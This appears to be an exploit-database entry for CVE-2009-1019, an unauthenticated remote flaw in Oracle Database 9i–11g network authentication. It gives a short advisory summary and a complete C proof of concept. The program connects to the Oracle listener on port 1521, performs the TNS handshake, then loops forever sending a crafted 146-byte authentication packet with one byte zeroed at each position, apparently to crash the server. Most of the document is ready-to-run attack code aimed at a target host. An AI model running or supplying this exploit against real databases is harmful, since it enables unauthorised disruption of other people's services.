Oracle 9i/10g Database - Remote Network Authentication

source: https://www.securityfocus.com/bid/35680/info

Oracle Database is prone to a remote vulnerability in Network Authentication.

The vulnerability can be exploited over the 'Oracle Net' protocol. An attacker doesn't require privileges to exploit this vulnerability.

This vulnerability affects the following supported versions:

9.2.0.8
9.2.0.8DV
10.1.0.5
10.2.0.4
11.1.0.7

// PoC for CVE-2009-1019
// discovered by Dennis Yurichev <dennis@conus.info>

// for more information: http://blogs.conus.info/node/24

// run: CVE-2009-1019.exe <host>

#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <assert.h>

#include <string>

void s_send (SOCKET s, unsigned char *msg, DWORD size)
{
  int sent;

  printf ("s_send: begin\n");

  sent=send (s, (char*)msg, size, 0);

  if (sent==SOCKET_ERROR)
    {
      printf ("send() -> SOCKET_ERROR, WSAGetLastError=%d\n", WSAGetLastError());
    } else

    if (sent!=size)
      printf ("sent only %d bytes\n", sent);

  printf ("s_send: end\n");
};

void s_recv (SOCKET s)
{
  char buf[20000];
  int r;
  
  struct timeval t;
  fd_set fd;

  t.tv_sec=0;
  t.tv_usec=100000; // 100 ms

  printf ("s_recv: begin\n");

  FD_ZERO(&fd);
  FD_SET(s, &fd);

  if (select (0, &fd, 0, 0, &t))
    // if (select (0, &fd, 0, 0, NULL))
    {
      r=recv (s, buf, 20000, 0);
      if (r!=0 && r!=-1)
	{
	  printf ("got %d\n", r);
	}
      else
	{
	  printf ("connection lost, r=%d\n", r);
	};
    }
  else
    {
      printf ("select() returns zero\n");
    };
};

unsigned char NSPTCN[]=
  {
    0x00, 0x3A, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00,
    0x01, 0x39, 0x01, 0x2C, 0x00, 0x81, 0x08, 0x00,
    0x7F, 0xFF, 0xC6, 0x0E, 0x00, 0x00, 0x01, 0x00,
    0x00, 0x00, 0x00, 0x3A, 0x00, 0x00, 0x07, 0xF8,
    //^^    ^^ cmd len
    0x0C, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00

  };

#define NSPTCN_HEADER_LEN 58

unsigned char NSPTDA[]=
  {
    0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
    //	  ^^    ^^ packet len
    0x00, 0x00
  };

#define NSPTDA_HEADER_LEN 10

void s_send_NSPTDA (SOCKET s, char *msg, int size)
{
  char * buf;
  int sz=size + NSPTDA_HEADER_LEN;

  buf=(char*)malloc (sz);

  NSPTDA[0]=( sz ) >> 8;
  NSPTDA[1]=( sz ) & 0xFF;

  memcpy (buf, NSPTDA, NSPTDA_HEADER_LEN);
  memcpy (buf + NSPTDA_HEADER_LEN, msg, size);

  printf ("s_send_NSPTDA: sending %d bytes...\n", sz);

  s_send (s, (unsigned char*)buf, sz);

  free (buf);
};

void s_send_TNS_command (SOCKET s, const char *cmd)
{
  unsigned char * pkt;
  int cmd_len=strlen (cmd);

  printf ("sending [%s]\n", cmd);
  printf ("len: %d\n", cmd_len);

  if (cmd_len<231)
    {

      int str_len=strlen(cmd);
      int pkt_len=str_len+58;

      pkt=(unsigned char*)malloc (str_len+58);

      memcpy (pkt, 
	      "\x00\x00\x00\x00\x01\x00\x00\x00"
	      // plenL and plenH
	      "\x01\x38\x01\x2c\x00\x00\x08\x00"
	      "\x7f\xff\x86\x0e\x00\x00\x01\x00"
	      "\x00\x00\x00\x3a\x00\x00\x00\x00"
	      // clenL clenH
	      "\x00\x00\x00\x00\x00\x00\x00\x00"
	      "\x00\x00\x00\x00\x0d\x40\x00\x00"
	      "\x00\x0e\x00\x00\x00\x00\x00\x00"
	      "\x00\x00", 58);

      memcpy (pkt+58, cmd, str_len);

      pkt[1]=pkt_len&0xFF;
      pkt[0]=(pkt_len>>8)&0xFF;

      pkt[25]=str_len&0xFF;
      pkt[24]=(str_len>>8)&0xFF;

      s_send (s,pkt, pkt_len);

      free (pkt);

    }
  else
    {
      NSPTCN[24]=cmd_len >> 8;
      NSPTCN[25]=cmd_len & 0xFF;
      
      s_send (s, &NSPTCN[0], NSPTCN_HEADER_LEN);

      assert (pkt=(unsigned char*)malloc ( cmd_len + NSPTDA_HEADER_LEN));

      NSPTDA[0]=( cmd_len + NSPTDA_HEADER_LEN ) >> 8;
      NSPTDA[1]=( cmd_len + NSPTDA_HEADER_LEN ) & 0xFF;

      memcpy (pkt, NSPTDA, NSPTDA_HEADER_LEN);
      memcpy (pkt + NSPTDA_HEADER_LEN, cmd, cmd_len);

      s_send (s, pkt, NSPTDA_HEADER_LEN + cmd_len);
      free (pkt);
    };
};

bool try_host (char * h, int i, int j)
{
  struct  hostent *hp;
  WSADATA wsaData; 
  struct sockaddr_in sin;
  int r;
  struct timeval t;
  fd_set fd;
  SOCKET s;
  char pkt146[146];

  WSAStartup(MAKEWORD(1, 1), &wsaData);

  hp=gethostbyname (h);
  assert (hp!=NULL);

  s=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);

  assert (s!=INVALID_SOCKET);

  {
    u_long on=1;
    assert (ioctlsocket(s, FIONBIO, &on) != -1);
  };

  sin.sin_family=AF_INET;
  sin.sin_port=htons(1521);
  memcpy(&sin.sin_addr, hp->h_addr, hp->h_length);

  r=connect(s, (struct sockaddr *)&sin, sizeof(sin));

  t.tv_sec=3;
  t.tv_usec=0;

  FD_ZERO(&fd);
  FD_SET(s, &fd);

  if (select (0, 0, &fd, 0, &t))
    {
      printf ("connected to %s\n", h);

      s_send_TNS_command (s, "(DESCRIPTION=(CONNECT_DATA=(SERVICE_NAME=orcl)(CID=(PROGRAM=client.exe)(HOST=client_host)(USER=dennis)))(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.0.102)(PORT=1521)))");

      // waiting for NSPTRS

      s_recv(s); 

      s_send_TNS_command (s, "(DESCRIPTION=(CONNECT_DATA=(SERVICE_NAME=orcl)(CID=(PROGRAM=client.exe)(HOST=client_host)(USER=dennis)))(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.0.102)(PORT=1521)))");

      // waiting for NSPTAC

      s_recv(s); 

      memcpy (pkt146, 
	      "\xDE\xAD\xBE\xEF\x00\x92"
	      "\x0A\x20\x01\x00\x00\x04\x00\x00"
	      "\x04\x00\x03\x00\x00\x00\x00\x00"
	      "\x04\x00\x05\x0A\x20\x01\x00\x00"
	      "\x08\x00\x01\x00\x00\x14\xCC\x5F"
	      "\x40\x95\x3E\x00\x12\x00\x01\xDE"
	      "\xAD\xBE\xEF\x00\x03\x00\x00\x00"
	      "\x04\x00\x04\x00\x01\x00\x01\x00"
	      "\x02\x00\x01\x00\x03\x00\x00\x00"
	      "\x00\x00\x04\x00\x05\x0A\x20\x01"
	      "\x00\x00\x02\x00\x03\xE0\xE1\x00"
	      "\x02\x00\x06\xFC\xFF\x00\x02\x00"
	      "\x02\x00\x00\x00\x00\x00\x04\x00"
	      "\x05\x0A\x20\x01\x00\x00\x0C\x00"
	      "\x01\x00\x11\x06\x10\x0C\x0F\x0A"
	      "\x0B\x08\x02\x01\x03\x00\x03\x00"
	      "\x02\x00\x00\x00\x00\x00\x04\x00"
	      "\x05\x0A\x20\x01\x00\x00\x03\x00"
	      "\x01\x00\x03\x01", 146);

      pkt146[i]=j;
      printf ("i=%d j=%02X\n", i, j);

      s_send_NSPTDA (s, pkt146, 146);

      s_recv(s); 

      assert (closesocket (s)==0);
      return true;
    }
  else
    {
      printf ("while connect(): select() returns zero\n");
      assert (closesocket (s)==0);
      return false;
    };
};

void main(int argc, char * argv[])
{
  assert (argv[1]!=NULL);

  for (;;)
    for (int pos=0;pos<146;pos++)
      {
	try_host (argv[1], pos, 0);
	Sleep (1000); // 1 second
      };
};